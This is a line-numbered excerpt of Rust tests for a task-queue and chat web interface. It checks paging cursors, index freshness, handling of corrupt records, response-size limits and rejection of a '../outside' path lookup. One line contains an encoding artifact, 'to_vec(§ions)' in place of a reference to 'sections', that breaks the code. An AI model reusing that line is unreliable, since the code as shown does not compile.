23546 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23547 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23550 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23551 }
23552 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23553 ui.queue.put(&mut child).unwrap();
23554 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23555 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23556 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23557 child.origin_chat = Some(chat_id.clone());
23558 ui.queue.put(&mut child).unwrap();
23559 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23560 assert_eq!(
23561 crate::consult::origin_talk(&tasks, &talks, &question)
23562 .unwrap()
23563 .id,
23564 chat_id
23565 );
23566 let revision = question_record_revision(&question);
23567 question.abandon("settled elsewhere");
23568 assert_ne!(revision, question_record_revision(&question));
23569 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23570 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23571 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23572 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23573 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23574 }
23575
23576 #[test]
23577 fn list_cursors_freeze_membership_and_expire_explicitly() {
23578 let home = tempfile::tempdir().unwrap();
23579 let ui = delta_test_ui(home.path());
23580 std::fs::create_dir_all(ui.queue.root()).unwrap();
23581 for i in 0..40 {
23582 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23583 }
23584 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23585 assert_eq!(first.len(), STORE_PAGE_SIZE);
23586 let cursor = cursor.unwrap();
23587 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23588 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23589 let (second, _) = page_ids(
23590 &ui,
23591 false,
23592 PageQuery {
23593 before: Some(cursor.clone()),
23594 },
23595 )
23596 .unwrap();
23597 assert_eq!(second[0], "record-0023");
23598 assert!(second.iter().all(|id| !first.contains(id)));
23599 assert!(
23600 page_ids(
23601 &ui,
23602 true,
23603 PageQuery {
23604 before: Some(cursor.clone())
23605 }
23606 )
23607 .is_err()
23608 );
23609 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23610 assert_eq!(fresh[0], "record-9999");
23611 ui.monitor.list_walks.lock().unwrap().clear();
23612 assert!(
23613 page_ids(
23614 &ui,
23615 false,
23616 PageQuery {
23617 before: Some(cursor)
23618 }
23619 )
23620 .is_err()
23621 );
23622 }
23623
23624 #[tokio::test]
23625 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23626 let home = tempfile::tempdir().unwrap();
23627 let ui = delta_test_ui(home.path());
23628 let mut task = Task::new(
23629 "task".into(),
23630 "body".into(),
23631 PathBuf::from("/repo"),
23632 Source::Human,
23633 );
23634 ui.queue.put(&mut task).unwrap();
23635 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23636 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23637 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23638 let expected = parsed + usize::from(!cfg!(unix));
23639 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23640 task.status = crate::queue::TaskStatus::Held;
23641 ui.queue.put(&mut task).unwrap();
23642 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23643 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23644 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23645 ui.queue.put(&mut task).unwrap();
23646 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23647 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23648 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23649 }
23650
23651 #[tokio::test]
23652 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23653 let home = tempfile::tempdir().unwrap();
23654 let ui = delta_test_ui(home.path());
23655 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23656 let before = health(State(ui.clone())).await.unwrap().0;
23657 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23658 let after = health(State(ui)).await.unwrap().0;
23659 assert_ne!(before.notifications_rev, after.notifications_rev);
23660 assert_eq!(after.notifications_unread, 1);
23661 }
23662
23663 #[tokio::test]
23664 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23665 let home = tempfile::tempdir().unwrap();
23666 let ui = delta_test_ui(home.path());
23667 let queue = &ui.queue;
23668 let talks = &ui.talks;
23669 for i in 0..1000 {
23670 let id = format!("20261019-{i:06}-page");
23671 let mut task = Task::new(
23672 "task".into(),
23673 "instruction".repeat(100),
23674 PathBuf::from("/repo/magi"),
23675 Source::Human,
23676 );
23677 task.id = id.clone();
23678 if i == 0 {
23679 task.status = crate::queue::TaskStatus::Held;
23680 } else if i == 999 {
23681 task.status = crate::queue::TaskStatus::Blocked;
23682 task.blocked_by = vec!["20261019-000000-page".into()];
23683 }
23684 queue.put(&mut task).unwrap();
23685 seed_talk_at(talks, &id, "open");
23686 }
23687 let page = serde_json::to_value(
23688 queue_page(State(ui.clone()), Query(PageQuery::default()))
23689 .await
23690 .unwrap()
23691 .0,
23692 )
23693 .unwrap();
23694 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23695 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23696 assert!(
23697 !page["rows"][0]["stuck_roots"]
23698 .as_array()
23699 .unwrap()
23700 .is_empty()
23701 );
23702 let cursor = page["next"].as_str().unwrap();
23703 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23704 .as_str()
23705 .unwrap();
23706 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23708 let next = serde_json::to_value(
23709 queue_page(
23710 State(ui.clone()),
23711 Query(PageQuery {
23712 before: Some(cursor.into()),
23713 }),
23714 )
23715 .await
23716 .unwrap()
23717 .0,
23718 )
23719 .unwrap();
23720 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23721 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23722 let chats = serde_json::to_value(
23723 talks_page(State(ui.clone()), Query(PageQuery::default()))
23724 .await
23725 .unwrap()
23726 .0,
23727 )
23728 .unwrap();
23729 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23730 assert!(chats["rows"][0].get("pending").is_none());
23731 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23732 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23733 assert_eq!(counts["held"], 1);
23734 assert_eq!(counts["blocked"], 1);
23735 assert_eq!(counts["queued"], 997);
23736 }
23737
23738 #[test]
23739 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23740 let dir = tempfile::tempdir().unwrap();
23741 let ui = delta_test_ui(dir.path());
23742 let mut task = Task::new(
23743 "task".into(),
23744 "body".into(),
23745 PathBuf::from("/repo"),
23746 Source::Human,
23747 );
23748 task.runs = vec!["run-a".into()];
23749 ui.queue.put(&mut task).unwrap();
23750 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23751 task.runs = vec!["run-b".into()];
23752 let path = ui.queue.path_of(&task.id);
23753 let modified = path.metadata().unwrap().modified().unwrap();
23754 let replacement = path.with_extension("replacement");
23755 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23756 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23757 std::fs::write(&replacement, &bytes).unwrap();
23758 std::fs::File::options()
23759 .write(true)
23760 .open(&replacement)
23761 .unwrap()
23762 .set_times(std::fs::FileTimes::new().set_modified(modified))
23763 .unwrap();
23764 std::fs::rename(&replacement, &path).unwrap();
23765 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23766 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23767 std::fs::write(&path, "broken").unwrap();
23768 assert!(ui.find_task_for_run("run-b").is_err());
23769 std::fs::write(&path, bytes).unwrap();
23770 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23771 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23772 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23773 }
23774
23775 #[tokio::test]
23776 async fn conversation_core_is_independent_of_unreadable_related_history() {
23777 let home = tempfile::tempdir().unwrap();
23778 let ui = delta_test_ui(home.path());
23779 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23780 std::fs::create_dir_all(ui.queue.root()).unwrap();
23781 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23782 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23783 .await
23784 .unwrap();
23785 assert_eq!(core.talk.id, id);
23786 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23787 }
23788
23789 #[tokio::test]
23790 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23791 let home = tempfile::tempdir().unwrap();
23792 let ui = delta_test_ui(home.path());
23793 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23794 let mut run = RunState::new(
23795 PathBuf::from("/repo"),
23796 "main".into(),
23797 "01234567".into(),
23798 "Useful run".into(),
23799 Config::default(),
23800 );
23801 run.save_under(home.path()).unwrap();
23802 let mut task = Task::new(
23803 "Related".into(),
23804 "body".into(),
23805 PathBuf::from("/repo"),
23806 Source::Agent {
23807 run: talk_id.clone(),
23808 node: "chat".into(),
23809 },
23810 );
23811 task.runs = vec![run.id.clone()];
23812 ui.queue.put(&mut task).unwrap();
23813 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23814 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23815 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23816 assert!(
23817 run_detail(State(ui.clone()), Path(run.id.clone()))
23818 .await
23819 .is_ok()
23820 );
23821 assert!(
23822 talk_sections(State(ui.clone()), Path(talk_id.clone()))
23823 .await
23824 .is_ok()
23825 );
23826 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23828 assert!(ui.find_task_for_run(&run.id).is_err());
23829 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23830 ui.queue.put(&mut task).unwrap();
23831 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
23832 }
23833
23834 #[tokio::test]
23835 async fn conversation_sections_omit_large_task_instructions() {
23836 let home = tempfile::tempdir().unwrap();
23837 let ui = delta_test_ui(home.path());
23838 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23839 let mut task = Task::new(
23840 "filed task".into(),
23841 "large instruction ".repeat(65536),
23842 PathBuf::from("/repo"),
23843 Source::Agent {
23844 run: id.clone(),
23845 node: "chat".into(),
23846 },
23847 );
23848 ui.queue.put(&mut task).unwrap();
23849 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
23850 assert_eq!(sections["tasks"][0]["id"], task.id);
23851 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
23852 assert!(sections["tasks"][0].get("instruction").is_none());
23853 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
23854 }
23855
23856 #[test]
23857 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
23858 let home = tempfile::tempdir().unwrap();
23859 let talks = Talks::at(home.path().join("talks"));
23860 seed_talk_at(&talks, "20261019-000001-abcd", "open");
23861 seed_talk_at(&talks, "20261019-000002-abcd", "open");
23862 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
23863 assert!(resolve_talk(&talks, "../outside").is_err());
23864 assert!(resolve_talk(&talks, "abcd").is_err());
23865 assert_eq!(
23866 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
23867 "20261019-000001-abcd"
23868 );
23869 }
23870
23871 include!(concat!(
23872 env!("CARGO_MANIFEST_DIR"),
23873 "/tests/web_latency/baseline.rs"
23874 ));
23875
23876 include!(concat!(
23877 env!("CARGO_MANIFEST_DIR"),
23878 "/tests/web_latency/lists.rs"
23879 ));
23880
23881 #[tokio::test]
23882 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
23883 async fn web_history_latency_measurement() {
23884 use std::time::Instant;
23885 let home = tempfile::tempdir().unwrap();
23886 let ui = delta_test_ui(home.path());
23887 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23888 let mut template = ui.talks.get(&id).unwrap();
23889 template.turns = serde_json::from_value(serde_json::json!([{
23890 "who": "operator", "body": "Show the accumulated work and its current status.",
23891 "at": Timestamp::now().to_string(),
23892 }]))
23893 .unwrap();
23894 std::fs::write(
23895 ui.talks.path_of(&id),
23896 serde_json::to_vec(&template).unwrap(),
23897 )
23898 .unwrap();
23899 let count = std::env::var("MAGI_BENCH_RECORDS")
23900 .ok()
23901 .and_then(|s| s.parse::<usize>().ok())
23902 .unwrap_or(1000);
23903 for i in 0..count {
23904 template.id = format!("20261019-{i:06}-history");
23905 template.pending = "history ".repeat(2048);
23906 std::fs::write(
23907 ui.talks.path_of(&template.id),
23908 serde_json::to_vec(&template).unwrap(),
23909 )
23910 .unwrap();
23911 let mut task = Task::new(
23912 "old task".into(),
23913 "instruction ".repeat(2048),
23914 PathBuf::from("/repo"),
23915 Source::Human,
23916 );
23917 task.id = format!("20261019-{i:06}-task");
23918 ui.queue.put(&mut task).unwrap();
23919 }
23920 for baseline in [true, false] {
23921 for clients in [1, 4] {
23922 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
23923 let mut samples = Vec::new();
23924 for _ in 0..12 {
23925 let mut jobs = Vec::new();
23926 for _ in 0..clients {
23927 let ui = ui.clone();
23928 let id = id.clone();
23929 jobs.push(tokio::spawn(async move {
23930 let start = Instant::now();
23931 if baseline {
23932 let response =
23933 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
23934 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
23935 return (
23936 elapsed,
23937 elapsed,
23938 serde_json::to_vec(&response).unwrap().len(),
23939 );
23940 }
23941 let core = talk_core(State(ui.clone()), Path(id.clone()));
23942 let secondary = talk_sections(State(ui), Path(id));
23943 let (first, total) = tokio::join!(
23944 async {
23945 let value = core.await.unwrap().0;
23946 (
23947 start.elapsed().as_secs_f64() * 1000.0,
23948 serde_json::to_vec(&value).unwrap().len(),
23949 )
23950 },
23951 async {
23952 let value = secondary.await.unwrap().0;
23953 (
23954 start.elapsed().as_secs_f64() * 1000.0,
23955 serde_json::to_vec(&value).unwrap().len(),
23956 )
23957 }
23958 );
23959 (first.0, first.0.max(total.0), first.1 + total.1)
23960 }));
23961 }
23962 for job in jobs {
23963 samples.push(job.await.unwrap());
23964 }
23965 }
23966 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
23967 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
23968 first.sort_by(f64::total_cmp);
23969 total.sort_by(f64::total_cmp);
23970 let n = first.len();
23971 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
23972 println!(
23973 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
23974 first[n / 2],
23975 first[(n * 95 / 100).min(n - 1)],
23976 total[n / 2],
23977 total[(n * 95 / 100).min(n - 1)],
23978 samples[0].2
23979 );
23980 }
23981 }
23982 }
23983
23984 #[test]
23985 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
23986 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
23988 assert!(APP_JS.contains("function nextRunRequest(id)"));
23989 assert!(APP_JS.contains("function runShell(id, summary)"));
23990 assert!(APP_JS.contains("function nextTaskRequest(id)"));
23991 assert!(APP_JS.contains("function taskShell(id, summary)"));
23992 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
23993 }
23994}